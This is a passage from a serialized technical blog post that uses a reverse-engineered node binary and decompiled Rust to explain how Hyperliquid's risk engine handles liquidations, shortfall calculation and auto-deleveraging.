with.",{"type":22,"tag":53,"props":162486,"children":162488},{"id":162487},"the-million-dollar-question",[162489],{"type":27,"value":162490},"The Million Dollar Question",{"type":22,"tag":23,"props":162492,"children":162493},{},[162494,162496,162501],{"type":27,"value":162495},"Let's say a terrible trader opens a ",{"type":22,"tag":6961,"props":162497,"children":162498},{},[162499],{"type":27,"value":162500},"50x",{"type":27,"value":162502}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":22,"tag":23,"props":162504,"children":162505},{},[162506,162508,162514],{"type":27,"value":162507},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":22,"tag":30,"props":162509,"children":162511},{"className":162510},[],[162512],{"type":27,"value":162513},"compute_margin_requirement_by_mode",{"type":27,"value":162515}," function.",{"type":22,"tag":23,"props":162517,"children":162518},{},[162519],{"type":27,"value":162520},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":22,"tag":162522,"props":162523,"children":162524},"tip",{},[162525],{"type":22,"tag":23,"props":162526,"children":162527},{},[162528,162530,162535,162537,162544,162546,162551],{"type":27,"value":162529},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":22,"tag":6961,"props":162531,"children":162532},{},[162533],{"type":27,"value":162534},"click through",{"type":27,"value":162536}," each action performed by ",{"type":22,"tag":80,"props":162538,"children":162541},{"href":162539,"rel":162540},"https://github.com/renato-osec/patina-research",[84],[162542],{"type":27,"value":162543},"our Rust reverse engineering agent",{"type":27,"value":162545},". Return to the regular view by clicking ",{"type":22,"tag":30,"props":162547,"children":162549},{"className":162548},[],[162550],{"type":27,"value":840},{"type":27,"value":231},{"type":22,"tag":162553,"props":162554,"children":162556},"bndb-viewer-embed",{"addr":162555,"line-start":6813,"line-end":138061},"0x555556bb4d20",[],{"type":22,"tag":23,"props":162558,"children":162559},{},[162560,162562,162568],{"type":27,"value":162561},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":22,"tag":30,"props":162563,"children":162565},{"className":162564},[],[162566],{"type":27,"value":162567},"OptionUnitQty",{"type":27,"value":162569},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":22,"tag":23,"props":162571,"children":162572},{},[162573],{"type":27,"value":162574},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":22,"tag":91,"props":162576,"children":162577},{},[162578],{"type":22,"tag":30,"props":162579,"children":162582},{"className":162580},[8026,162581],"math-display",[162583],{"type":22,"tag":101,"props":162584,"children":162587},{"className":162585},[162586],"katex-display",[162588],{"type":22,"tag":101,"props":162589,"children":162591},{"className":162590},[8032],[162592],{"type":22,"tag":101,"props":162593,"children":162595},{"className":162594,"ariaHidden":5608},[8037],[162596,162627],{"type":22,"tag":101,"props":162597,"children":162599},{"className":162598},[8042],[162600,162604,162614,162618,162623],{"type":22,"tag":101,"props":162601,"children":162603},{"className":162602,"style":97967},[8047],[],{"type":22,"tag":101,"props":162605,"children":162607},{"className":162606},[8053,27],[162608],{"type":22,"tag":101,"props":162609,"children":162611},{"className":162610},[8053],[162612],{"type":27,"value":162613},"liq_equity",{"type":22,"tag":101,"props":162615,"children":162617},{"className":162616,"style":8231},[8133],[],{"type":22,"tag":101,"props":162619,"children":162621},{"className":162620},[8236],[162622],{"type":27,"value":1511},{"type":22,"tag":101,"props":162624,"children":162626},{"className":162625,"style":8231},[8133],[],{"type":22,"tag":101,"props":162628,"children":162630},{"className":162629},[8042],[162631,162636],{"type":22,"tag":101,"props":162632,"children":162635},{"className":162633,"style":162634},[8047],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":22,"tag":101,"props":162637,"children":162639},{"className":162638},[8053],[162640,162644,162762],{"type":22,"tag":101,"props":162641,"children":162643},{"className":162642},[25704,117072],[],{"type":22,"tag":101,"props":162645,"children":162647},{"className":162646},[117077],[162648],{"type":22,"tag":101,"props":162649,"children":162651},{"className":162650},[8074,25629],[162652,162750],{"type":22,"tag":101,"props":162653,"children":162655},{"className":162654},[8079],[162656,162745],{"type":22,"tag":101,"props":162657,"children":162660},{"className":162658,"style":162659},[8084],"height:1.427em;",[162661,162701,162712],{"type":22,"tag":101,"props":162662,"children":162664},{"style":162663},"top:-2.314em;",[162665,162669],{"type":22,"tag":101,"props":162666,"children":162668},{"className":162667,"style":115725},[8093],[],{"type":22,"tag":101,"props":162670,"children":162672},{"className":162671},[8053],[162673,162678,162682,162687,162691],{"type":22,"tag":101,"props":162674,"children":162676},{"className":162675},[8053],[162677],{"type":27,"value":7164},{"type":22,"tag":101,"props":162679,"children":162681},{"className":162680,"style":8134},[8133],[],{"type":22,"tag":101,"props":162683,"children":162685},{"className":162684},[8139],[162686],{"type":27,"value":114816},{"type":22,"tag":101,"props":162688,"children":162690},{"className":162689,"style":8134},[8133],[],{"type":22,"tag":101,"props":162692,"children":162694},{"className":162693},[8053,27],[162695],{"type":22,"tag":101,"props":162696,"children":162698},{"className":162697},[8053],[162699],{"type":27,"value":162700},"leverage",{"type":22,"tag":101,"props":162702,"children":162703},{"style":117127},[162704,162708],{"type":22,"tag":101,"props":162705,"children":162707},{"className":162706,"style":115725},[8093],[],{"type":22,"tag":101,"props":162709,"children":162711},{"className":162710,"style":117137},[117136],[],{"type":22,"tag":101,"props":162713,"children":162715},{"style":162714},"top:-3.677em;",[162716,162720],{"type":22,"tag":101,"props":162717,"children":162719},{"className":162718,"style":115725},[8093],[],{"type":22,"tag":101,"props":162721,"children":162723},{"className":162722},[8053],[162724,162730,162740],{"type":22,"tag":101,"props":162725,"children":162727},{"className":162726},[8053],[162728],{"type":27,"value":162729},"∣",{"type":22,"tag":101,"props":162731,"children":162733},{"className":162732},[8053,27],[162734],{"type":22,"tag":101,"props":162735,"children":162737},{"className":162736},[8053],[162738],{"type":27,"value":162739},"notional",{"type":22,"tag":101,"props":162741,"children":162743},{"className":162742},[8053],[162744],{"type":27,"value":162729},{"type":22,"tag":101,"props":162746,"children":162748},{"className":162747},[25732],[162749],{"type":27,"value":25735},{"type":22,"tag":101,"props":162751,"children":162753},{"className":162752},[8079],[162754],{"type":22,"tag":101,"props":162755,"children":162758},{"className":162756,"style":162757},[8084],"height:0.8804em;",[162759],{"type":22,"tag":101,"props":162760,"children":162761},{},[],{"type":22,"tag":101,"props":162763,"children":162765},{"className":162764},[25726,117072],[],{"type":22,"tag":53,"props":162767,"children":162769},{"id":162768},"what-if-nobody-wants-to-buy-the-position",[162770],{"type":27,"value":162771},"What If Nobody Wants to Buy the Position?",{"type":22,"tag":23,"props":162773,"children":162774},{},[162775],{"type":27,"value":162776},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":22,"tag":23,"props":162778,"children":162779},{},[162780,162782,162787],{"type":27,"value":162781},"When that happens, the exchange is basically left with a ",{"type":22,"tag":6961,"props":162783,"children":162784},{},[162785],{"type":27,"value":162786},"hot potato",{"type":27,"value":162788}," to get rid of: what should it even do with the debt?",{"type":22,"tag":39369,"props":162790,"children":162792},{"id":162791},"the-risk-engine",[162793],{"type":27,"value":162794},"The Risk Engine",{"type":22,"tag":23,"props":162796,"children":162797},{},[162798],{"type":27,"value":162799},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":22,"tag":53,"props":162801,"children":162803},{"id":162802},"clearing-up-bad-debt",[162804],{"type":27,"value":162805},"Clearing Up Bad Debt",{"type":22,"tag":23,"props":162807,"children":162808},{},[162809,162810,162817],{"type":27,"value":2007},{"type":22,"tag":80,"props":162811,"children":162814},{"href":162812,"rel":162813},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[84],[162815],{"type":27,"value":162816},"Hyperliquid docs",{"type":27,"value":162818}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":22,"tag":23,"props":162820,"children":162821},{},[162822,162824,162835,162837,162843,162845,162851],{"type":27,"value":162823},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":22,"tag":80,"props":162825,"children":162828},{"href":162826,"rel":162827},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[84],[162829],{"type":22,"tag":30,"props":162830,"children":162832},{"className":162831},[],[162833],{"type":27,"value":162834},"Clearinghouse",{"type":27,"value":162836},", a struct containing all liquidation-related info, nested within a bigger ",{"type":22,"tag":30,"props":162838,"children":162840},{"className":162839},[],[162841],{"type":27,"value":162842},"Exchange",{"type":27,"value":162844}," data structure. This is an example of what it might hold when serialized as ",{"type":22,"tag":30,"props":162846,"children":162848},{"className":162847},[],[162849],{"type":27,"value":162850},"MessagePack",{"type":27,"value":162852}," at runtime.",{"type":22,"tag":23,"props":162854,"children":162855},{},[162856],{"type":27,"value":162857},"This data will come in handy both for us and the agent.",{"type":22,"tag":162859,"props":162860,"children":162862},"file-download",{"path":162861},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":22,"tag":23,"props":162864,"children":162865},{},[162866,162868,162873],{"type":27,"value":162867},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":22,"tag":30,"props":162869,"children":162871},{"className":162870},[],[162872],{"type":27,"value":162834},{"type":27,"value":162874},". Some renaming later, we can infer something like this:",{"type":22,"tag":162553,"props":162876,"children":162880},{"source":162877,"target":162878,"direction":162879},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":22,"tag":23,"props":162882,"children":162883},{},[162884,162886,162891,162893,162899],{"type":27,"value":162885},"We have one huge function handling all clearinghouse operations, which we call ",{"type":22,"tag":30,"props":162887,"children":162889},{"className":162888},[],[162890],{"type":27,"value":162878},{"type":27,"value":162892},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":22,"tag":30,"props":162894,"children":162896},{"className":162895},[],[162897],{"type":27,"value":162898},"exchange_end_block",{"type":27,"value":162900},". So, at the end of each block we run some checks.",{"type":22,"tag":162522,"props":162902,"children":162903},{},[162904],{"type":22,"tag":23,"props":162905,"children":162906},{},[162907],{"type":27,"value":162908},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":22,"tag":23,"props":162910,"children":162911},{},[162912,162914,162920],{"type":27,"value":162913},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":22,"tag":30,"props":162915,"children":162917},{"className":162916},[],[162918],{"type":27,"value":162919},"clearinghouse.perform_auto_deleveraging",{"type":27,"value":162921}," flag.",{"type":22,"tag":162553,"props":162923,"children":162927},{"addr":162924,"line-start":162925,"line-end":162926},"0x555556ac3850","3290","3301",[],{"type":22,"tag":23,"props":162929,"children":162930},{},[162931,162933,162938],{"type":27,"value":162932},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":22,"tag":30,"props":162934,"children":162936},{"className":162935},[],[162937],{"type":27,"value":162834},{"type":27,"value":5455},{"type":22,"tag":1760,"props":162940,"children":162942},{"id":162941},"threshold-condition",[162943],{"type":27,"value":162944},"Threshold Condition",{"type":22,"tag":23,"props":162946,"children":162947},{},[162948,162950,162955],{"type":27,"value":162949},"The natural connection between liquidations and ADL is ",{"type":22,"tag":6961,"props":162951,"children":162952},{},[162953],{"type":27,"value":162954},"shortfall",{"type":27,"value":162956},": by how much a position, or the entire system (!), is underwater.",{"type":22,"tag":23,"props":162958,"children":162959},{},[162960],{"type":27,"value":162961},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":22,"tag":22883,"props":162963,"children":162965},{"id":162964},"who-is-underwater",[162966],{"type":27,"value":162967},"Who Is Underwater?",{"type":22,"tag":23,"props":162969,"children":162970},{},[162971,162973,162978,162980,162986],{"type":27,"value":162972},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":22,"tag":30,"props":162974,"children":162976},{"className":162975},[],[162977],{"type":27,"value":162878},{"type":27,"value":162979},", starting from all user positions, which are stored in ",{"type":22,"tag":30,"props":162981,"children":162983},{"className":162982},[],[162984],{"type":27,"value":162985},"clearinghouse.user_states",{"type":27,"value":162987},", as we can also see from the serialization.",{"type":22,"tag":162522,"props":162989,"children":162990},{},[162991],{"type":22,"tag":23,"props":162992,"children":162993},{},[162994],{"type":27,"value":162995},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":22,"tag":162553,"props":162997,"children":163001},{"source":162998,"target":162898,"direction":162999,"path":163000},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":22,"tag":23,"props":163003,"children":163004},{},[163005,163006,163011,163013,163019,163021,163027,163029,163035],{"type":27,"value":2007},{"type":22,"tag":30,"props":163007,"children":163009},{"className":163008},[],[163010],{"type":27,"value":162998},{"type":27,"value":163012}," essentially turns that into an ",{"type":22,"tag":30,"props":163014,"children":163016},{"className":163015},[],[163017],{"type":27,"value":163018},"Iter",{"type":27,"value":163020},", then, inside of ",{"type":22,"tag":30,"props":163022,"children":163024},{"className":163023},[],[163025],{"type":27,"value":163026},"build_adl_candidate_set",{"type":27,"value":163028}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":22,"tag":30,"props":163030,"children":163032},{"className":163031},[],[163033],{"type":27,"value":163034},"AdlIterEntry",{"type":27,"value":62323},{"type":22,"tag":162553,"props":163037,"children":163039},{"type-name":163038},"AdlIterContext",[],{"type":22,"tag":23,"props":163041,"children":163042},{},[163043,163045,163051,163053,163059,163061,163067,163069,163074],{"type":27,"value":163044},"Note that in storage, ",{"type":22,"tag":30,"props":163046,"children":163048},{"className":163047},[],[163049],{"type":27,"value":163050},"Isolated",{"type":27,"value":163052}," positions have their own independent ",{"type":22,"tag":30,"props":163054,"children":163056},{"className":163055},[],[163057],{"type":27,"value":163058},"Entry",{"type":27,"value":163060}," in the position iterators, and ",{"type":22,"tag":30,"props":163062,"children":163064},{"className":163063},[],[163065],{"type":27,"value":163066},"Cross",{"type":27,"value":163068}," positions have a single common ",{"type":22,"tag":30,"props":163070,"children":163072},{"className":163071},[],[163073],{"type":27,"value":163058},{"type":27,"value":163075},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":22,"tag":162553,"props":163077,"children":163080},{"addr":163078,"line-start":48250,"line-end":163079},"0x555556266b10","163",[],{"type":22,"tag":23,"props":163082,"children":163083},{},[163084],{"type":27,"value":163085},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":22,"tag":162553,"props":163087,"children":163090},{"addr":162924,"line-start":163088,"line-end":163089},"506","527",[],{"type":22,"tag":23,"props":163092,"children":163093},{},[163094,163096],{"type":27,"value":163095},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":22,"tag":163097,"props":163098,"children":163101},"bndb-xref",{"lines":163099,"addrs":163100},"1-2","0x555556ac3e18-0x555556ac3e18",[163102],{"type":27,"value":163103},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":22,"tag":23,"props":163105,"children":163106},{},[163107,163109,163115,163117,163123,163125,163131,163133,163139],{"type":27,"value":163108},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":22,"tag":30,"props":163110,"children":163112},{"className":163111},[],[163113],{"type":27,"value":163114},"only_isolated",{"type":27,"value":163116}," (or ",{"type":22,"tag":30,"props":163118,"children":163120},{"className":163119},[],[163121],{"type":27,"value":163122},"strict_isolated",{"type":27,"value":163124}," in MessagePack dumps) are added to a separate queue, ",{"type":22,"tag":30,"props":163126,"children":163128},{"className":163127},[],[163129],{"type":27,"value":163130},"deferred_queue",{"type":27,"value":163132},", which triggers ADL regardless of the system's ",{"type":22,"tag":30,"props":163134,"children":163136},{"className":163135},[],[163137],{"type":27,"value":163138},"total_shortfall",{"type":27,"value":163140},". This is dictated by this branch.",{"type":22,"tag":162553,"props":163142,"children":163145},{"addr":162924,"line-start":163143,"line-end":163144},"211","243",[],{"type":22,"tag":23,"props":163147,"children":163148},{},[163149,163151,163158],{"type":27,"value":163150},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":22,"tag":80,"props":163152,"children":163155},{"href":163153,"rel":163154},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[84],[163156],{"type":27,"value":163157},"March 2025 incident",{"type":27,"value":163159},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":22,"tag":22883,"props":163161,"children":163163},{"id":163162},"how-do-we-get-rid-of-debt",[163164],{"type":27,"value":163165},"How Do We Get Rid of Debt?",{"type":22,"tag":23,"props":163167,"children":163168},{},[163169],{"type":27,"value":163170},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":22,"tag":23,"props":163172,"children":163173},{},[163174,163176,163181,163183,163188,163190,163195],{"type":27,"value":163175},"Thus, if the debt is insurmountable, the ",{"type":22,"tag":30,"props":163177,"children":163179},{"className":163178},[],[163180],{"type":27,"value":163130},{"type":27,"value":163182}," is overwritten by all the users marked by ",{"type":22,"tag":30,"props":163184,"children":163186},{"className":163185},[],[163187],{"type":27,"value":163026},{"type":27,"value":163189},", otherwise we keep it and only holders of underwater ",{"type":22,"tag":30,"props":163191,"children":163193},{"className":163192},[],[163194],{"type":27,"value":163122},{"type":27,"value":163196}," positions from the earlier loop are considered for ADL.",{"type":22,"tag":162522,"props":163198,"children":163199},{},[163200],{"type":22,"tag":23,"props":163201,"children":163202},{},[163203],{"type":27,"value":163204},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":22,"tag":162553,"props":163206,"children":163209},{"addr":162924,"line-start":163207,"line-end":163208},"523","526",[],{"type":22,"tag":23,"props":163211,"children":163212},{},[163213,163215,163221,163223,163229,163231,163236],{"type":27,"value":163214},"For each underwater position, we do a ",{"type":22,"tag":163097,"props":163216,"children":163218},{"addrs":163217},"0x555556ac42ad-0x555556ac42be",[163219],{"type":27,"value":163220},"B-tree lookup",{"type":27,"value":163222}," on ",{"type":22,"tag":30,"props":163224,"children":163226},{"className":163225},[],[163227],{"type":27,"value":163228},"clearinghouse.user_states[position.user]",{"type":27,"value":163230},", adding them to a ",{"type":22,"tag":30,"props":163232,"children":163234},{"className":163233},[],[163235],{"type":27,"value":21208},{"type":27,"value":163237}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":22,"tag":162553,"props":163239,"children":163242},{"addr":162924,"line-start":163240,"line-end":163241},"635","658",[],{"type":22,"tag":23,"props":163244,"children":163245},{},[163246],{"type":27,"value":163247},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":22,"tag":91,"props":163249,"children":163250},{},[163251],{"type":22,"tag":30,"props":163252,"children":163254},{"className":163253},[8026,162581],[163255],{"type":22,"tag":101,"props":163256,"children":163258},{"className":163257},[162586],[163259],{"type":22,"tag":101,"props":163260,"children":163262},{"className":163261},[8032],[163263],{"type":22,"tag":101,"props":163264,"children":163266},{"className":163265,"ariaHidden":5608},[8037],[163267],{"type":22,"tag":101,"props":163268,"children":163270},{"className":163269},[8042],[163271,163276],{"type":22,"tag":101,"props":163272,"children":163275},{"className":163273,"style":163274},[8047],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":22,"tag":101,"props":163277,"children":163279},{"className":163278},[8053],[163280],{"type":22,"tag":101,"props":163281,"children":163284},{"className":163282},[163283],"mtable",[163285,163365],{"type":22,"tag":101,"props":163286,"children":163289},{"className":163287},[163288],"col-align-r",[163290],{"type":22,"tag":101,"props":163291,"children":163293},{"className":163292},[8074,25629],[163294,163353],{"type":22,"tag":101,"props":163295,"children":163297},{"className":163296},[8079],[163298,163348],{"type":22,"tag":101,"props":163299,"children":163302},{"className":163300,"style":163301},[8084],"height:2.3452em;",[163303,163326],{"type":22,"tag":101,"props":163304,"children":163306},{"style":163305},"top:-4.3452em;",[163307,163312],{"type":22,"tag":101,"props":163308,"children":163311},{"className":163309,"style":163310},[8093],"height:3.3944em;",[],{"type":22,"tag":101,"props":163313,"children":163315},{"className":163314},[8053],[163316],{"type":22,"tag":101,"props":163317,"children":163319},{"className":163318},[8053,27],[163320],{"type":22,"tag":101,"props":163321,"children":163323},{"className":163322},[8053],[163324],{"type":27,"value":163325},"position_weight",{"type":22,"tag":101,"props":163327,"children":163329},{"style":163328},"top:-2.2092em;",[163330,163334],{"type":22,"tag":101,"props":163331,"children":163333},{"className":163332,"style":163310},[8093],[],{"type":22,"tag":101,"props":163335,"children":163337},{"className":163336},[8053],[163338],{"type":22,"tag":101,"props":163339,"children":163341},{"className":163340},[8053,27],[163342],{"type":22,"tag":101,"props":163343,"children":163345},{"className":163344},[8053],[163346],{"type":27,"value":163347},"position_adl_amount",{"type":22,"tag":101,"props":163349,"children":163351},{"className":163350},[25732],[163352],{"type":27,"value":25735},{"type":22,"tag":101,"props":163354,"children":163356},{"className":163355},[8079],[163357],{"type":22,"tag":101,"props":163358,"children":163361},{"className":163359,"style":163360},[8084],"height:1.8452em;",[163362],{"type":22,"tag":101,"props":163363,"children":163364},{},[],{"type":22,"tag":101,"props":163366,"children":163369},{"className":163367},[163368],"col-align-l",[163370],{"type":22,"tag":101,"props":163371,"children":163373},{"className":163372},[8074,25629],[163374,163575],{"type":22,"tag":101,"props":163375,"children":163377},{"className":163376},[8079],[163378,163570],{"type":22,"tag":101,"props":163379,"children":163381},{"className":163380,"style":163301},[8084],[163382,163510],{"type":22,"tag":101,"props":163383,"children":163384},{"style":163305},[163385,163389],{"type":22,"tag":101,"props":163386,"children":163388},{"className":163387,"style":163310},[8093],[],{"type":22,"tag":101,"props":163390,"children":163392},{"className":163391},[8053],[163393,163397,163401,163406,163410],{"type":22,"tag":101,"props":163394,"children":163396},{"className":163395},[8053],[],{"type":22,"tag":101,"props":163398,"children":163400},{"className":163399,"style":8231},[8133],[],{"type":22,"tag":101,"props":163402,"children":163404},{"className":163403},[8236],[163405],{"type":27,"value":1511},{"type":22,"tag":101,"props":163407,"children":163409},{"className":163408,"style":8231},[8133],[],{"type":22,"tag":101,"props":163411,"children":163413},{"className":163412},[8053],[163414,163418,163506],{"type":22,"tag":101,"props":163415,"children":163417},{"className":163416},[25704,117072],[],{"type":22,"tag":101,"props":163419,"children":163421},{"className":163420},[117077],[163422],{"type":22,"tag":101,"props":163423,"children":163425},{"className":163424},[8074,25629],[163426,163494],{"type":22,"tag":101,"props":163427,"children":163429},{"className":163428},[8079],[163430,163489],{"type":22,"tag":101,"props":163431,"children":163434},{"className":163432,"style":163433},[8084],"height:1.3944em;",[163435,163456,163467],{"type":22,"tag":101,"props":163436,"children":163437},{"style":162663},[163438,163442],{"type":22,"tag":101,"props":163439,"children":163441},{"className":163440,"style":115725},[8093],[],{"type":22,"tag":101,"props":163443,"children":163445},{"className":163444},[8053],[163446],{"type":22,"tag":101,"props":163447,"children":163449},{"className":163448},[8053,27],[163450],{"type":22,"tag":101,"props":163451,"children":163453},{"className":163452},[8053],[163454],{"type":27,"value":163455},"total_cross_notional",{"type":22,"tag":101,"props":163457,"children":163458},{"style":117127},[163459,163463],{"type":22,"tag":101,"props":163460,"children":163462},{"className":163461,"style":115725},[8093],[],{"type":22,"tag":101,"props":163464,"children":163466},{"className":163465,"style":117137},[117136],[],{"type":22,"tag":101,"props":163468,"children":163470},{"style":163469},"top:-3.7em;",[163471,163475],{"type":22,"tag":101,"props":163472,"children":163474},{"className":163473,"style":115725},[8093],[],{"type":22,"tag":101,"props":163476,"children":163478},{"className":163477},[8053],[163479],{"type":22,"tag":101,"props":163480,"children":163482},{"className":163481},[8053,27],[163483],{"type":22,"tag":101,"props":163484,"children":163486},{"className":163485},[8053],[163487],{"type":27,"value":163488},"position_notional",{"type":22,"tag":101,"props":163490,"children":163492},{"className":163491},[25732],[163493],{"type":27,"value":25735},{"type":22,"tag":101,"props":163495,"children":163497},{"className":163496},[8079],[163498],{"type":22,"tag":101,"props":163499,"children":163502},{"className":163500,"style":163501},[8084],"height:0.996em;",[163503],{"type":22,"tag":101,"props":163504,"children":163505},{},[],{"type":22,"tag":101,"props":163507,"children":163509},{"className":163508},[25726,117072],[],{"type":22,"tag":101,"props":163511,"children":163512},{"style":163328},[163513,163517],{"type":22,"tag":101,"props":163514,"children":163516},{"className":163515,"style":163310},[8093],[],{"type":22,"tag":101,"props":163518,"children":163520},{"className":163519},[8053],[163521,163525,163529,163534,163538,163548,163552,163557,163561],{"type":22,"tag":101,"props":163522,"children":163524},{"className":163523},[8053],[],{"type":22,"tag":101,"props":163526,"children":163528},{"className":163527,"style":8231},[8133],[],{"type":22,"tag":101,"props":163530,"children":163532},{"className":163531},[8236],[163533],{"type":27,"value":1511},{"type":22,"tag":101,"props":163535,"children":163537},{"className":163536,"style":8231},[8133],[],{"type":22,"tag":101,"props":163539,"children":163541},{"className":163540},[8053,27],[163542],{"type":22,"tag":101,"props":163543,"children":163545},{"className":163544},[8053],[163546],{"type":27,"value":163547},"user_shortfall",{"type":22,"tag":101,"props":163549,"children":163551},{"className":163550,"style":8134},[8133],[],{"type":22,"tag":101,"props":163553,"children":163555},{"className":163554},[8139],[163556],{"type":27,"value":114816},{"type":22,"tag":101,"props":163558,"children":163560},{"className":163559,"style":8134},[8133],[],{"type":22,"tag":101,"props":163562,"children":163564},{"className":163563},[8053,27],[163565],{"type":22,"tag":101,"props":163566,"children":163568},{"className":163567},[8053],[163569],{"type":27,"value":163325},{"type":22,"tag":101,"props":163571,"children":163573},{"className":163572},[25732],[163574],{"type":27,"value":25735},{"type":22,"tag":101,"props":163576,"children":163578},{"className":163577},[8079],[163579],{"type":22,"tag":101,"props":163580,"children":163582},{"className":163581,"style":163360},[8084],[163583],{"type":22,"tag":101,"props":163584,"children":163585},{},[],{"type":22,"tag":23,"props":163587,"children":163588},{},[163589],{"type":27,"value":163590},"We do that here:",{"type":22,"tag":162553,"props":163592,"children":163595},{"addr":162924,"line-start":163593,"line-end":163594},"828","981",[],{"type":22,"tag":23,"props":163597,"children":163598},{},[163599,163600,163606,163608,163614],{"type":27,"value":2007},{"type":22,"tag":163097,"props":163601,"children":163603},{"lines":163602},"77-79",[163604],{"type":27,"value":163605},"inner loop",{"type":27,"value":163607}," above spans all ",{"type":22,"tag":30,"props":163609,"children":163611},{"className":163610},[],[163612],{"type":27,"value":163613},"(asset_idx, direction)",{"type":27,"value":163615}," held in the cross margin position.",{"type":22,"tag":23,"props":163617,"children":163618},{},[163619,163621,163627,163629,163635,163636,163642],{"type":27,"value":163620},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":22,"tag":30,"props":163622,"children":163624},{"className":163623},[],[163625],{"type":27,"value":163626},"adl_output",{"type":27,"value":163628}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":22,"tag":30,"props":163630,"children":163632},{"className":163631},[],[163633],{"type":27,"value":163634},"position_id",{"type":27,"value":209},{"type":22,"tag":30,"props":163637,"children":163639},{"className":163638},[],[163640],{"type":27,"value":163641},"position_shortfall",{"type":27,"value":231},{"type":22,"tag":162553,"props":163644,"children":163647},{"addr":162924,"line-start":163645,"line-end":163646},"2377","2469",[],{"type":22,"tag":23,"props":163649,"children":163650},{},[163651,163653,163659],{"type":27,"value":163652},"Afterwards we can finally loop over the B-tree containing ",{"type":22,"tag":30,"props":163654,"children":163656},{"className":163655},[],[163657],{"type":27,"value":163658},"(position_id, cut)",{"type":27,"value":163660},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":22,"tag":23,"props":163662,"children":163663},{},[163664,163666,163671],{"type":27,"value":163665},"The final phase of ",{"type":22,"tag":30,"props":163667,"children":163669},{"className":163668},[],[163670],{"type":27,"value":162878},{"type":27,"value":163672}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":22,"tag":162553,"props":163674,"children":163677},{"addr":162924,"addr-start":163675,"addr-end":163676},"0x555556ac6d52","0x555556ac6de8",[],{"type":22,"tag":23,"props":163679,"children":163680},{},[163681],{"type":27,"value":163682},"How are positions chosen (sorted) to be deleveraged?",{"type":22,"tag":39369,"props":163684,"children":163686},{"id":163685},"who-do-we-deleverage",[163687],{"type":27,"value":163688},"Who Do We Deleverage?",{"type":22,"tag":23,"props":163690,"children":163691},{},[163692],{"type":27,"value":163693},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":22,"tag":23,"props":163695,"children":163696},{},[163697],{"type":27,"value":163698},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":22,"tag":23,"props":163700,"children":163701},{},[163702,163704,163711],{"type":27,"value":163703},"More formally, fairness can be given multiple related definitions; see ",{"type":22,"tag":80,"props":163705,"children":163708},{"href":163706,"rel":163707},"https://arxiv.org/abs/2512.01112",[84],[163709],{"type":27,"value":163710},"this paper",{"type":27,"value":163712},". We 